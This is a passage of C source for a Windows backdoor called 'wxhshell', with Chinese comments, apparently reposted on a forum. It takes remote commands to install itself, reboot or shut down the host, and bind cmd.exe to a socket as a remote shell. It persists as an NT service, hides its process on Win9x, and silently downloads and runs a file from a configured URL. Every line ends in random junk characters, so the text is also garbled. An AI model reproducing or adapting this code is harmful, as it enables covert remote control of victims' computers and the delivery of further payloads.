      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); L=4?vs  
    break; o<@2zhuhrx  
  } ;z)$wH0xc  
  // 安装 #C4  
  case 'i': { y.w/7iw:  
    if(Install()) BeaX 0#\  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9?bfZF4A=  
    else ;Z C18@  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); IS]03_uQ  
    break; n4(w?,w }  
    } 3 +BPqhzf  
  // 卸载 26.iFt/:  
  case 'r': { mkrvWZjZX  
    if(Uninstall()) / D#vs9S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (Qq! u  
    else E=sBcb/v  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Nki18ud#  
    break; 6bo,x  
    }  U7tT  
  // 显示 wxhshell 所在路径 #B)/d?aa'  
  case 'p': { ./J.OU1  
    char svExeFile[MAX_PATH]; J0mY=vX  
    strcpy(svExeFile,"\n\r"); v#YO3nD  
      strcat(svExeFile,ExeFile); )0fQ(3oOg  
        send(wsh,svExeFile,strlen(svExeFile),0); 0MrtJNF]_O  
    break; p^ 9QYR  
    } REnRpp$  
  // 重启 Wq F(  
  case 'b': { /o+, =7hY  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); JS}W4 N  
    if(Boot(REBOOT)) \QHe0?6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @\u)k  
    else { Q*(]&qr"E  
    closesocket(wsh); ,^:Zf|V  
    ExitThread(0); ;=*b:y Y  
    } zd>[uIOR  
    break; "g>uNtt~  
    } $-M1<?5  
  // 关机 V:QfI  
  case 'd': { n_.2B$JD  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ZV_mP'1*  
    if(Boot(SHUTDOWN)) X[h=UlF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); mK@\6GOMYP  
    else { QbxjfW"/+  
    closesocket(wsh); Ny\iRU)fN  
    ExitThread(0); c^A3|tCi  
    } p Ic ;9  
    break; <kPU*P,  
    } IC92lPM }  
  // 获取shell FspI[g UN,  
  case 's': { E I)Pfx"0  
    CmdShell(wsh); <*2.B~  
    closesocket(wsh); q,QMvUK:  
    ExitThread(0); zu*0uL  
    break; P,_GTs3/G  
  } 1nBE8 N  
  // 退出 &tLg}7?iB  
  case 'x': { cV&(L]k>`  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); K&D -1u  
    CloseIt(wsh); [~f%z(vI  
    break; Y\dK- M{$  
    } YAC=V?U-#  
  // 离开 nU[ROy5  
  case 'q': { o Ep\po1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); $T1 D ?X  
    closesocket(wsh); l OI(+74  
    WSACleanup(); Gv?3}8Wp  
    exit(1); ;G;vpl  
    break; F3,hx  
        } rM=Q.By+\  
  } v|t^th,  
  } m#grtmyMrI  
9)aXLM4Y  
  // 提示信息 +]`MdOu  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #u|;YC  
} Lo7R^>  
  } Z&JW}''n|F  
:*A6Ba  
  return; y9Yh%M(  
} z=n"cE[KtB  
]Ol@^$8}  
// shell模块句柄 c .KpXY  
int CmdShell(SOCKET sock) G)5%f\&  
{ 3$(1LN  
STARTUPINFO si; DE."XSni  
ZeroMemory(&si,sizeof(si)); M6pGf_qt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; oKA8)~Xqou  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5<,}^4wWZ  
PROCESS_INFORMATION ProcessInfo; }"Hf/{E$_"  
char cmdline[]="cmd"; n8iejdA'  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Ur?a%]  
  return 0; lwQI 9U[O2  
} {j ${i  
.QRQvtd.  
// 自身启动模式 H5^ 'J`0\  
int StartFromService(void) _4xX}Z;  
{ 42ttmN1F  
typedef struct sW3-JA]  
{ VISNmz2P  
  DWORD ExitStatus; Ol{)U;, `  
  DWORD PebBaseAddress; ?9 :{p  
  DWORD AffinityMask; 8iqx*8}  
  DWORD BasePriority; xo7H^!_   
  ULONG UniqueProcessId; z"=#<C  
  ULONG InheritedFromUniqueProcessId; >9uDY+70I3  
}   PROCESS_BASIC_INFORMATION; {-7];e  
eaYQyMv@  
PROCNTQSIP NtQueryInformationProcess; ! Hdg $,  
BqCBH!^x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2}b1PMpZG  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; A^bg*t,  
q 1Rk'k4+  
  HANDLE             hProcess; %fJ*Ql4M  
  PROCESS_BASIC_INFORMATION pbi; #-f7hg*  
|Y0BnyGK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 0p*(<8D}  
  if(NULL == hInst ) return 0; bF|j%If%  
Ip4CC'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); )l\BZndf  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ?U cW@B{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m%qah>11  
*&% kkbA  
  if (!NtQueryInformationProcess) return 0; UF|v=|*{#  
<,`=m|z9k  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); UqsVqi h(  
  if(!hProcess) return 0; b U-Cd  
Me`jh8(K\6  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; g(;t,Vy,I  
Q/1 6D  
  CloseHandle(hProcess); Fwm{oypg%  
,fT5I6l  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); dSS_^E[{  
if(hProcess==NULL) return 0; ?Q]&d!U Cs  
1Ty{k^%  
HMODULE hMod; <DvpqlT  
char procName[255]; ;B:'8$j$  
unsigned long cbNeeded; p6A"_b^  
4["$}O5  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 38>8{Ma  
;k9s@e#a  
  CloseHandle(hProcess); 2(\~z@g  
s4@AK48  
if(strstr(procName,"services")) return 1; // 以服务启动 #?@k=e\  
>wNE!Oa*B  
  return 0; // 注册表启动 8;5 UO,`T  
} C8m8ys  
:y"Zc1_E  
// 主模块 5$`i)}:s  
int StartWxhshell(LPSTR lpCmdLine) HfFP4#C,  
{ ^}ngb Dn  
  SOCKET wsl; ;4z6="<Y  
BOOL val=TRUE; *S~gF/*kP  
  int port=0; zb OEF  
  struct sockaddr_in door; ?>*i8*  
IR;lt 3  
  if(wscfg.ws_autoins) Install(); G[)Ll=  
CSN]k)\N(  
port=atoi(lpCmdLine); </>;PnzE  
)|~pocXt<  
if(port<=0) port=wscfg.ws_port; Q0Y0Zt,h  
.,)NDG4Q  
  WSADATA data; nAZuA]p}S]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; fLa 7d?4  
4N[8LC;MH  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   f\nF2rlu  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^%@(> :)0  
  door.sin_family = AF_INET; \S{ise/U  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); < S:SIaf0  
  door.sin_port = htons(port); G'^Qi}o  
_n,Ye&m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { p~Fc *g[!  
closesocket(wsl); ^G.PdX$M  
return 1; G1K5J`"*  
} Ms ;:+JI  
Wf^6:  
  if(listen(wsl,2) == INVALID_SOCKET) { ng(STvSh:  
closesocket(wsl); 4eMNKIsvY$  
return 1; 3K c  
} 9XImgeAs  
  Wxhshell(wsl); .uG|Vq1v  
  WSACleanup(); ] mYT!(}  
h[b;_>7  
return 0; p^_2]%,QeM  
p}$VBl$'  
} qn}4PVn4  
WI/&r5rq   
// 以NT服务方式启动 y=_8ae}aD~  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) FGo{6'K(:  
{ E96FwA5  
DWORD   status = 0; T$RVz   
  DWORD   specificError = 0xfffffff; 5TqB&GP0  
pJ!:mt  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  pbM~T(Y8  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; |B yw]\3v  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {gT2G*Ed^Z  
  serviceStatus.dwWin32ExitCode     = 0; Z+! ._uA  
  serviceStatus.dwServiceSpecificExitCode = 0; +L D\~dcV+  
  serviceStatus.dwCheckPoint       = 0; OBp<A+a  
  serviceStatus.dwWaitHint       = 0; ^}vLZA  
f-6-!  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b2]1Dfw  
  if (hServiceStatusHandle==0) return; W'WZ@!!  
j#mo Vq  
status = GetLastError(); mxUM&`[  
  if (status!=NO_ERROR)  0IO#h{t  
{ %2>ya>/M  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; b3]QH h/  
    serviceStatus.dwCheckPoint       = 0; 32j@6!  
    serviceStatus.dwWaitHint       = 0; Nr 5h%<` I  
    serviceStatus.dwWin32ExitCode     = status; EF1aw2  
    serviceStatus.dwServiceSpecificExitCode = specificError; r/E'#5 Q  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ni "n_Yun  
    return; kH:! 7L_=  
  } E{+V_.tlu  
w$%d"Jm#X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7J?`gl&C  
  serviceStatus.dwCheckPoint       = 0; pV`?=[h9  
  serviceStatus.dwWaitHint       = 0; Qxb5Y)/jn  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); C 8 [W  
} }&|S8:   
AY3nQH   
// 处理NT服务事件,比如:启动、停止 7&-i :2  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ;.*n77Y  
{ "W!Uxc  
switch(fdwControl) i`#5dIb   
{ <*I%U]  
case SERVICE_CONTROL_STOP: 1Q-O&\-xg  
  serviceStatus.dwWin32ExitCode = 0; \Eqxmo  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; CF"u8yE  
  serviceStatus.dwCheckPoint   = 0; |cKo#nfzZ  
  serviceStatus.dwWaitHint     = 0; h,QC#Ak o  
  { 0V:7pSC{P  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); p) #7K  
  } k4WUfL d  
  return; v(PwE B]  
case SERVICE_CONTROL_PAUSE: `rt?n|*QF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +"8AmN4  
  break; @&H Tt  
case SERVICE_CONTROL_CONTINUE: w,uyN  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )8ub1,C  
  break; ue?e}hF  
case SERVICE_CONTROL_INTERROGATE: %=C49(/K_  
  break; _; 7{1n  
}; dw6U}  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f]N.$,:$  
} df@r2 /Y  
~o"VZp  
// 标准应用程序主函数 zB,Vi-)vH  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) c& &^D o  
{ % Q| >t~  
btb$C  
// 获取操作系统版本 Na6z1&wS  
OsIsNt=GetOsVer(); x+1Cs$E;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jS_fwuM  
h?cf)L  
  // 从命令行安装 55aJ =T  
  if(strpbrk(lpCmdLine,"iI")) Install(); os<YfMM<:/  
/HlLfW  
  // 下载执行文件 M}jF-z  
if(wscfg.ws_downexe) { *RPdU.  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (f Gmjx  
  WinExec(wscfg.ws_filenam,SW_HIDE); 4$HU=]b6Tf  
} s"tyCDc.c  
w]<a$C8*y:  
if(!OsIsNt) { fMGL1VN  
// 如果时win9x,隐藏进程并且设置为注册表启动 6R.%I{x'  
HideProc(); |Z ), OW  
StartWxhshell(lpCmdLine); =IbDGw(  
} {xW HKsI>,  
else zk#NM"C+  
  if(StartFromService()) %Y0,ww2  
  // 以服务方式启动 pQ:7%+Om  
  StartServiceCtrlDispatcher(DispatchTable); QL_vWG -  
else olHT* mr  
  // 普通方式启动 8XS_I{}?  
  StartWxhshell(lpCmdLine); nTy8:k']  
@e`%'  
return 0; P@LFX[HtM  
}
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只看该作者 1 发表于: 2006-10-10
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